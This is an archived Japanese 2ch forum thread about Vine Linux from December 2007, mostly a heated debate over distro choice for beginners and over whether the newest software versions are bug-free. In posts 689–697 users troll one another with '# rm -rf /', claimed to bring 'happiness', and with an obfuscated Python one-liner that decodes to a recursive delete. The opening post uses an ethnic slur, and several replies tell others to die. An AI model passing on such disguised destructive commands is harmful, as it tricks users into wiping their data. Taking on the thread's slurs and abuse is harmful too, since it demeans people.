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Vine Linux Thread 其の53

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0001login:Penguin2007/10/11(木) 00:13:36ID:NGfQyaMU
プログラムすらできないチョンが出没するがスルーして話を進めてOK。
あのチョンはspecも自分で書けないし何のトラブルも解決できないド素人で、
場を荒らすだけ。専門家以外、相手するのは時間の無駄。
邪魔なド素人は積極的に排除して建設的な話をしていこう。

● 前スレ
Vine Linux Thread 其の52
http://pc11.2ch.net/test/read.cgi/linux/1186492320/
0651login:Penguin2007/12/16(日) 21:45:40ID:N/FMhoj9
<650
読みかえしたら日本語おかしくなってましたが
理解いただきありがとうございます
0652login:Penguin2007/12/17(月) 08:19:19ID:nyc+6tvU
>>647
>>650
初心者でSUSEの鯖用途は
止めたほうがいいと思う
netでの情報は少ないし
suseのスレの住民は
デスクトップ用途専門だし
レベル低い

Cent、ubuntu、Debianかな
0653login:Penguin2007/12/17(月) 08:30:33ID:9C/9KfDK
adobe reader 8.1.1付属のlibstdc++がTLS版なので
今どきTLS有効にしていない糞で起動しなくなったのは有名だが
TLS無効libstdc++.so.6.0.9でも起動しないな
libstdc++.so.6.0.7のみだ
0654login:Penguin2007/12/17(月) 10:27:19ID:78+RFL5Y
どのディストリでも動く汎用日本語tex環境パッケージを
有料でもいいからつくってほしい

ディストリは自分が使ってる海外のライブラリーの開発者と同じの使いたいから
Vineは使いたくない
0655login:Penguin2007/12/17(月) 11:51:54ID:9C/9KfDK
nvidiaディスプレイドライバ
atiディスプレイドライバ
これらもTLS要求した


今どきTLSもACPIも有効でないってのはどれだけアホなのか。
あまりにも不安定。
0656login:Penguin2007/12/17(月) 12:37:57ID:tAzWYrwa
>>654
おまえが作ったらどうだ
0657login:Penguin2007/12/17(月) 14:04:47ID:InpZkmC8
もうアンチスレ立ててそこでやれって思う。
粘着杉。
0658login:Penguin2007/12/17(月) 14:12:06ID:xyjygj6O
つーかこのスレ自体もともとaptクソの隔離スレだし
06596472007/12/17(月) 17:33:14ID:Xdxifj9i
再度インストールするのが面倒で
PS2マウス買ってきて試してみたら普通にマウス動きました。
USB変換PS2マウスなのでUSB使用で試してみたらやっぱし変な動きでした。
なぜなのか理由がよくわかりません。まこれはこれでしょうがないとして
ディストリですが用途して自宅サーバー兼常用Winのサブマシンとして使用する場合
だとCENTとVINEだとどちら適していますか?リナ初心者です。
0660login:Penguin2007/12/17(月) 17:40:19ID:PkVpb4ES
>>659
Ubuntu
0661login:Penguin2007/12/17(月) 17:42:45ID:hFK8Mqws
>>659
自宅鯖って何をするのかわからんけど、とりあえずSUSE,Mandriva,Ubuntuのどれかを
インスコして比べてみたら?
これから新規にLinux始めようとするんだったらVineは止めた方がいいかと。
06626472007/12/17(月) 17:52:21ID:Xdxifj9i
<660
<661
ありがとございます。Vine初期設定なども省けて初任者にはうってつけとききましたがだめぽですか?
あとCentもやめておいたほうがよいですか。
0663login:Penguin2007/12/17(月) 18:03:21ID:hFK8Mqws
>>662
まあ、初めてなんだしVine、Cent含め色々インスコして比べてみるのをおすすめしておくよ。
んでVineが気に入れば、Vineでもいいだろうし。

Centは外向けのサーバー構築するのだったら、おすすめ。
ワークステーション的な使い方をするんであればヤメた方がいい。
逆にVineを外向けのサーバーにするのは、オススメできない。
とはいえVineをTex用途以外のワークステーション的な使い方もする場合もダメだな。
0664login:Penguin2007/12/17(月) 18:06:35ID:PkVpb4ES
>>662
>Vine初期設定なども省けて初任者にはうってつけ
その情報古い。コンピュータの世界は移り変わりが早いから、常に新しい情報を手に入れるように心がけた方が良いよ。
0665login:Penguin2007/12/17(月) 18:16:06ID:hFK8Mqws
>>664
だね。

>>662
正確に言うと「Vineは、emacsやtex環境の初期設定なども省けて、これからtexを使うような初任者にはうってつけ」
ですな。ちなみにVineで鯖関連の設定をしようとすると、CUIで設定を編集する覚悟しないとダメだぞ。
その点、suse,mandrivaあたりは、ほとんどGUIで設定できる。
0666login:Penguin2007/12/17(月) 18:29:53ID:/bJ7hse/
俺みたいなのは、正直物足りなさを感じても、vineから他へ移るのがマンドクセからまだ使ってる訳で
初心者からやり直すならubuntuとやらを使うだろうな。
クリーンインスコなんて2.6以来してないな…
06676472007/12/17(月) 19:26:28ID:Xdxifj9i
↑↑↑↑↑↑↑↑皆様がたありがとうございます
>>663
ドメイン運用なのでおもいっきし外です
ふむふむ、、設定まんどくさいのですね
>>664
>>665
初心者から見たリナ使いらしい発言。まじでかっこいいっす。
>>666
うちもめんどくさ派なので
しょっぱなですがcentかubuntuで運用しようと考え改めなおしました
06686472007/12/17(月) 19:30:58ID:Xdxifj9i
連投すみません。
2つに絞りました、で調べてみたところおおまかにこんな感じかなとつかめたのですが
・cent、、redhat同等の無料版適位置づけ
・ubuntu、、Debianの後釜。はじめからちゃんと動く。

個人サーバドメイン運用外向き、winサブマシンとしてちょいデスクトップ使用もしたい程度ですが先のことも考え、
情報量・わかりやすさ・将来性はどちらが優れていると皆さんは思われますか?
0669login:Penguin2007/12/17(月) 19:46:19ID:hFK8Mqws
>>668
鯖的情報の多さならCentOS
デスクトップ的情報の多さならUbuntu

これでこの2つのディストリの特徴が分かると思う。
外向け鯖、ドメイン運用ということだとすると、そのノウハウが無いなら
いろいろググってみて、詳しく書いてあるディストリを選んだ方がいいかと。
などとレスしてる俺が言うのも変だが、いいかげんスレ違いなんで
起こられる前に終了しないとね。各鳥スレとか専用スレで聞いとくれ。
06706472007/12/17(月) 19:59:21ID:Xdxifj9i
>>669
ありがとうございます。
肝心なスレチであることを都合よく忘れてました。すみません。
Centいんすこしてみます。
住人の皆様ありがとうございました。
0671login:Penguin2007/12/17(月) 20:10:20ID:h7J7rFtv
> suse,mandrivaあたりは、ほとんどGUIで設定できる。

こういう連中の方が多数派になっちゃったってことなんだろうなあ。
ま,どうでもいいけど。
0672login:Penguin2007/12/17(月) 21:49:09ID:DDpxCfiO
初心者はVineを使うべきではない

Vineは汚いオッサンハッカーがはぁはぁ言いながら弄くるための鳥
0673login:Penguin2007/12/17(月) 22:15:37ID:Kd7nCviZ
253 :login:Penguin [] :2007/12/17(月) 22:07:24 ID:DDpxCfiO
? ? ?Vineのダメなところ
? ? 1. とにかく古い
? ? 2. とにかく不安定
? ? 3. パッケージ数・レポジトリが非常に少ない
? ? 4. 日本人のごく一部しか使っていないので情報量が圧倒的に少ない
? ? 5. セキュリティ対応が致命的に遅い
? ? 6. Dice Kの人格
? ? 7. 信者がやたらTexの話をしたがる
0674login:Penguin2007/12/17(月) 22:33:19ID:ptdUWIVD
5,6が致命的
0675login:Penguin2007/12/17(月) 22:50:33ID:xoA6uAGI
>初心者はVineを使うべきではない
実際のところ、その通りということなら、
それでお終い。
0676login:Penguin2007/12/17(月) 23:02:15ID:8X1QLPK1
メニューの隅々まで日本語化されてていいんだけどな。
でも、RedHatもそうだった。
ubuntuが糞なだけだったりして。
0677login:Penguin2007/12/18(火) 08:50:31ID:fL4pZE7o
Vineも、その他の鳥も
鯖用途のインストールなら
Xは入れないし
日本語はもちろん外す

普通こうだよな?
0678login:Penguin2007/12/18(火) 09:55:21ID:VSF821hp
「普通」などという曖昧な基準でものを語る奴は、
極めて非論理的だと言わざるを得ない。
0679login:Penguin2007/12/18(火) 11:19:41ID:O3Yp58dD
>>677
本格的に鯖を構築しようとするやつはそうだが
そこら辺の普通のエンドユーザーはGUI環境での構築がほとんどだろw

まぁ技術と言うのは常に進化していってるからそれが自然な流れだと思うけど
何らかの原因でグラフィカルな操作が出来なくなった時には必ず泣きを見るだろうな

それと>>677は普通の技術者はってことじゃないの?
技術者がGUIでしかサーバーを構築できないとか流石ありえないもんなw
0680login:Penguin2007/12/18(火) 12:43:32ID:KPz4AWff
>>678
「長寿と繁栄を!」
0681login:Penguin2007/12/18(火) 12:51:32ID:3DJiMWKI
この子高校生かな?
0682login:Penguin2007/12/18(火) 17:00:52ID:nzKZ6bys
あいかわずKDE関連がクソなようで。
0683login:Penguin2007/12/18(火) 19:30:11ID:z6AU5pv0
64ビット化、マルチコア化、。。。
0684login:Penguin2007/12/18(火) 20:47:46ID:RJI012Fd
ocn
0685login:Penguin2007/12/18(火) 21:45:09ID:nb6bUMvv
>>679
>>GUI環境での構築ほとんどだろw

喪前ぐらいだろ
そんな奴
君にはWinでiisがお似合いだよ
0686login:Penguin2007/12/18(火) 21:50:54ID:qLbw+jAY
vineスレとオススメLinuxスレってカス(ubun厨)の集まりだなw
0687login:Penguin2007/12/18(火) 22:07:52ID:gpLyMFaF
>>685
中途半端な抜き出しwテラバカスwwww
おまえGUI構築しかしたことないだろw
0688login:Penguin2007/12/18(火) 22:11:59ID:3DJiMWKI
坊やは周りが見えてないようだけど、この板で>>679みたいな事いってると
ただのアホだってバレちゃうよ。

まぁ自覚が無いのかもしれんが。
0689login:Penguin2007/12/18(火) 22:15:25ID:gpLyMFaF
>>688
# rm -rf /

上のコマンドを実行すると幸せになれるらしいよ^^
0690login:Penguin2007/12/18(火) 22:28:01ID:nb6bUMvv
>>688
よく考えたらこのスレは
本スレで無い方の
引き篭りオナヌースレじゃ無かったっけ

俺たちの方がお邪魔なんだヨ
0691login:Penguin2007/12/18(火) 22:34:18ID:j5wGBcSN
>>689
お前が実行しろよ。
0692login:Penguin2007/12/18(火) 22:36:41ID:BCzQryqc
もうお前ら全員Vista使えよ
0693login:Penguin2007/12/18(火) 22:37:34ID:gpLyMFaF
>>691
3回ほど実行してすごく幸せになりました^^
0694login:Penguin2007/12/18(火) 22:46:02ID:j5wGBcSN
>>693
見え透いた嘘付いてどうする
0695login:Penguin2007/12/18(火) 22:46:44ID:gpLyMFaF
>>691
ワタシは今とても幸せなんでよかったら>>691も>>689で幸せになってください^^
0696login:Penguin2007/12/18(火) 22:47:19ID:gpLyMFaF
>>694
ちなみに3回実行したのは本当ですよ^^
0697login:Penguin2007/12/18(火) 23:02:45ID:g4HiNXWp
このマインスリーパみたいにrm -rf /も難読化すればいいのに。
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'
0698login:Penguin2007/12/18(火) 23:27:45ID:gpLyMFaF
>>697
そのpython実はどうもならないって知ってた^^
0699login:Penguin2007/12/18(火) 23:48:20ID:H4O8L3gd
Vineで外部用サーバ(httpdと踏み代用のsshdだけど)を公開してる俺が来ましたよ!
更新があんまりないのが怖いんでTOMOYOタン入れてハァハァしてるけど…。

取りあえず不便はないなぁ。
やりたい事が取りあえずVineで出来ることを確認しているから。
0700login:Penguin2007/12/19(水) 00:01:18ID:UxZLxb3B
>>698
早く死ねよ。
0701login:Penguin2007/12/19(水) 00:20:46ID:2qt9z172
さっさとkDEリビルドしろよ。ここのKDE担当って、マジでいい加減な奴だよな。
0702login:Penguin2007/12/19(水) 00:23:25ID:N9vFhblx
>>700
おまえも早く>>688で幸せになれよ^^
0703login:Penguin2007/12/19(水) 00:26:55ID:e5exDgOz
>>702
いいからトットと死ねよ
0704login:Penguin2007/12/19(水) 00:27:41ID:D/sQ0LFM
とにかく古いのは致命的だな。
安定しない。

常に最新のものだけ採用すればバグは「100%」「一切」ないからな。
あっても更に最新にすればいいだけだから、致命的な影響はない。
むしろ古いものを使うと致命的なものが修正されていなくて逆に迷惑。

古いNTカーネルのほうが安定するとかヌカして未パッチのXPを使うようなもので
つまり最新にしないということはバカしかやらないこと。

あるアプリに2.0バージョンがあって、それが安定するとか言っても2.1が出ているとすればそれは何故なのか?
安定するならもうバージョンアップなんかしないでいいはずだろ。

バージョンアップがされたのは致命的なバグがあったから。結局その2.0では安定なんかしないんだよ。
だから常に最新でなければならない。セキュリティに穴がある古いものは犯罪の手助けをするのだから
古いものを採用しているものは犯罪の手助けにしかならない不安定なもの。
0705login:Penguin2007/12/19(水) 00:28:09ID:N9vFhblx
>>703
おまえもトットと>>689で幸せになれよ^^
0706login:Penguin2007/12/19(水) 00:33:02ID:S3WAH+FG
>>704
この人何で同じ事を念仏唱えるみたいに繰り返してるの?
0707login:Penguin2007/12/19(水) 00:33:44ID:D/sQ0LFM
とりあえず、古いもの=安定とか言うバカが大嫌いなので
他の板でも事あるごとにネガティブキャンペーンしていく。

こんなクソ、なくなったほうがいい。
0708login:Penguin2007/12/19(水) 00:33:44ID:e5exDgOz
俺Vineユーザーじゃなくてよかったわ、ホントに。
0709login:Penguin2007/12/19(水) 00:34:54ID:N9vFhblx
>>708
まだ居たんですね^^
トットと>>689で幸せになってください^^
0710login:Penguin2007/12/19(水) 00:35:10ID:S3WAH+FG
使命感かな。大変だね。
俺もVineユーザーやめてよかったわ、ホントに。
0711login:Penguin2007/12/19(水) 00:40:42ID:du4PxlGA
ここがVineユーザーの総本山・・・(ゴクリ
0712login:Penguin2007/12/19(水) 00:41:03ID:N9vFhblx
ちなみに>>708のぼくちゃんw
>>689の意味わかりゅかなぁ〜〜^^
0713login:Penguin2007/12/19(水) 00:43:49ID:S3WAH+FG
>>711
ここは元々本スレじゃなかったんだけどねえ。
0714login:Penguin2007/12/19(水) 00:51:17ID:i9fYZlik
>>704
>常に最新のものだけ採用すればバグは「100%」「一切」ないからな。

JVNやCVE出てる最新版はざらにある。
何事もバランスだ。
もうちっと、場数を踏んでから発言してくれ。
0715login:Penguin2007/12/19(水) 01:05:21ID:yO3vIwDt
まぁVine繋がりも何かの縁
Vineは糞になろうとも
スレは楽しく逝こうぜ
0716login:Penguin2007/12/19(水) 01:54:48ID:ZtIIe0AK
>>714
まあapt君の言うことだ、彼の脳内ではそうなんだろう。
最新版=バグが100%ないってアホかw
Firefoxがなんで2.0.0.10から一週間もしないうちに2.0.0.11を出した理由をみれば、
んな戯言は言えないと思うが…
まあ、どっちにせよバグが「100%」ないことはありえん。
0717login:Penguin2007/12/19(水) 02:07:26ID:2qt9z172
>>716
バグフィックスのバージョンアップが出ても、バージョンアップしないで放置してる方が嫌だと思うんだけどね。
バージョンフィックスでもパッチを当ててくれればいいんだけど、最近のVineはそれすらやってくれないことが多いし(´・ω・`)
0718login:Penguin2007/12/19(水) 02:41:35ID:D/sQ0LFM
最新版にバグがあっても更に修正版にアップデートすればバグは100%ない。


古いほうがいいとかバカぬかしてバグがあるものをそのまま使いつづければバグは100%残る。


よほど悔しかったらしいなw
そのapt君とやらにどれだけイジメられたんだよw


ていうかスレ違い。素人隔離スレに帰れ
0719login:Penguin2007/12/19(水) 02:52:36ID:1RPRQPAu
分母が異なる率を同列に扱うのは非論理的だ。分母と分子を明示的に示せ。
なお、バグの発生は確率論で議論されるべきである。
0720login:Penguin2007/12/19(水) 02:57:07ID:yS7vuw5W
Vine信者的おらにとっては、自分でセキュリティ脆弱性をフィックスするのがVineの醍醐味
0721login:Penguin2007/12/19(水) 03:06:11ID:2qt9z172
>>719
そんな確率論はどうでもいい!
古くてもパッチを提供してバグが直ればそれでいいし、パッチを当てれない、Upstreamでないとバグが直らないなら
素直にアップデートするべきだ。
つかVineのパケジって、ソースのバグの確立云々を語る以前に、パケジ作成時の不具合が多すぎ。

0722login:Penguin2007/12/19(水) 03:09:54ID:YJ9VwWjD
       ____
     /      \
   /  _ノ  ヽ、_  \
  /  o゚⌒   ⌒゚o  \  今日もまた、パッケージに不具合を埋め込む仕事が始まるお…
  |     (__人__)    |
  \     ` ⌒´     /
0723login:Penguin2007/12/19(水) 03:16:08ID:yS7vuw5W
Dice K PCオワタ

“199ドルノート”こと「Eee PC」が日本発売決定——予価は5万円前後
http://headlines.yahoo.co.jp/hl?a=20071218-00000038-zdn_pc-sci
0724login:Penguin2007/12/19(水) 03:31:38ID:yS7vuw5W
Dice K PCだとVineを消して他の鳥を入れる手間もかかる
二度手間PCだ・・
やれやれ・・・
0725login:Penguin2007/12/19(水) 05:01:23ID:ya/wECTU
既知のバグを全部つぶさないと「最新版」をリリースできないこんな世の中じゃ
0726login:Penguin2007/12/19(水) 07:05:58ID:JQomo4cL
>707
利用者はここを見てると思うので、ここでやればいいじゃん。
「他の板」って、あんた。
Linuxユーザのネガティブキャンペーンになりかねないぞ。
0727login:Penguin2007/12/19(水) 08:43:46ID:6qi9yfEM
>>723
199ドルが5万円って変だな
Dice-K PC 25万よりはマシだけど
0728login:Penguin2007/12/19(水) 11:04:31ID:+ejDs0sL
古い方が安定してる
↓
パッチ無しでXP使いました
↓
5分であぼーん


素晴らしく安定してますな!
0729login:Penguin2007/12/19(水) 11:12:03ID:RjXz9rz4
>>728
それは仕様です
0730login:Penguin2007/12/19(水) 13:21:37ID:B5+WeXCH
引き篭もりaptクソスレでいっても仕方ないけど
>バージョンアップがされたのは致命的なバグがあったから。

マイナーバージョンアップなら大抵そうだけど
バージョンアップは常にバグがあったからバージョンアップするわけじゃないんだけどな。
常にバージョンアップはバグフィックスうなら、Vistaが出た時点で
XPのアップデートは不要ということになる。

>古いNTカーネルのほうが安定するとかヌカして未パッチのXPを使うようなもので
>つまり最新にしないということはバカしかやらないこと。

バージョンアップは常にバグフィックスだと抜かしてサーバ構築に必要のない
ゲームソフトまでインスコするようなもの。
これだからaptは馬鹿にされる。
0731login:Penguin2007/12/19(水) 14:06:39ID:em5i9/fR
>>730
いやマジで言っても仕方ないし。
aptひきこもりスレだから荒れてもいいしどうでもいいけど。
0732login:Penguin2007/12/19(水) 15:17:35ID:+ejDs0sL
別OSをバージョンアップと言い張る素人
0733login:Penguin2007/12/19(水) 16:43:28ID:RjXz9rz4
>>732
目くそ鼻くそ
0734login:Penguin2007/12/19(水) 21:13:14ID:i9fYZlik
perlの様に、BTSで着手しますとか言って、1年ほったらかしにされてる様なのは
とっととバージョン上げて欲しいけどね。
0735login:Penguin2007/12/19(水) 21:15:12ID:i9fYZlik
http://125.207.177.163/20071219647455/omote/img200712/2007120501_5073079618.jpg
大統領選が終わり、明日からが勝負にゃ。
0736login:Penguin2007/12/19(水) 21:31:50ID:yO3vIwDt
>>引き篭もりaptクソスレ
たしかにそうだが・・ワロタ
0737login:Penguin2007/12/19(水) 22:05:35ID:3Bitnrcf


ド素人が泣きながらバージョンアップを否定w

セキュリティホールマンセーらしいw
0738login:Penguin2007/12/19(水) 22:09:33ID:3Bitnrcf
だからド素人は誰からもバカだって言われてんだよw

一人で見えない誰かと戦ったかと思えばセキュリティフィックスは悪!とか自分でバカ晒したw


もうあまりにも悔しすぎて自分の言ってることさえ分からないんだろうなあw
0739login:Penguin2007/12/19(水) 22:11:21ID:CaPgR7u1
久々に賑って生き生きしてるな。
幸せそうで何よりだ。
0740login:Penguin2007/12/19(水) 22:12:44ID:JQomo4cL
意味がわかる文章を書いてくれ。
お前の場合、他人をバカ呼ばわりする前に、自分の精神状態に留意しろ。
0741login:Penguin2007/12/19(水) 23:08:36ID:nAw4N5c5
Vineスレだけなんだろうねえ,こんな完全に逝っちゃった奴相手してくれるのが。
憐れだとは思うがオレはつきあい切れん。
0742login:Penguin2007/12/19(水) 23:27:47ID:yO3vIwDt
完全に逝っちゃった奴相手するのと
Vine使い続けるのって似てる気がする
0743login:Penguin2007/12/19(水) 23:28:54ID:V1ecSQBU
MLでも逝っちゃった人をいつまでも相手にしてるじゃん
まず、あれをやめないと
0744login:Penguin2007/12/19(水) 23:39:41ID:At3kvNys
先日落ちた本スレ其の53が建った後に馬鹿aptがここを建ててから、分離隔離は出来てたんだけどな。
本スレの次スレ建てた阿呆がaptに負けず劣らずの馬鹿だったからか、もうぐっちゃぐちゃ。
0745login:Penguin2007/12/20(木) 00:18:02ID:+DzE28Ay
このスレもMLも荒らしだろうが釣りだろうがただのバカだろうが一切スルーせずに
全部食い付いて相手し続けてきたからなあ。
実はこれが知る者ぞ知るVineの最大の特徴。
0746login:Penguin2007/12/20(木) 00:18:48ID:kluGUzVW
どうでもいいが4.2のPlus リポジトリにあるKDEさっさと直してくれよ>あきやま
0747login:Penguin2007/12/20(木) 00:25:37ID:Vr9X+aDS
何かKDE絡みで4.xBTSに未処置で残ってたのってあったっけか。
0748login:Penguin2007/12/20(木) 01:42:14ID:ZD090RmD
>>744
坊主憎けりゃ袈裟まで憎いって感じでユーザーまで貶めてた
aptの隔離が目的だったのに、今やどっちのスレも…。
次の本スレはまともになることを期待したいが…。

自称上級ハカーだったらVineに粘着するなっつーの。なあ、ID:3Bitnrcfよ。
それとも他のスレだと相手にされねーか。
ま、その調子じゃあ自業自得だけどな。
0749login:Penguin2007/12/20(木) 10:48:38ID:RPJLOUsK
悪貨は良貨を駆逐する
0750login:Penguin2007/12/20(木) 18:57:27ID:4Dahe3tT
悪貨=Vine
良貨=他のまともな鶏
0751login:Penguin2007/12/20(木) 19:37:01ID:+DzE28Ay
↑こういう粘着質が人間と会話するとそのうち人○しするんだろうな・・・
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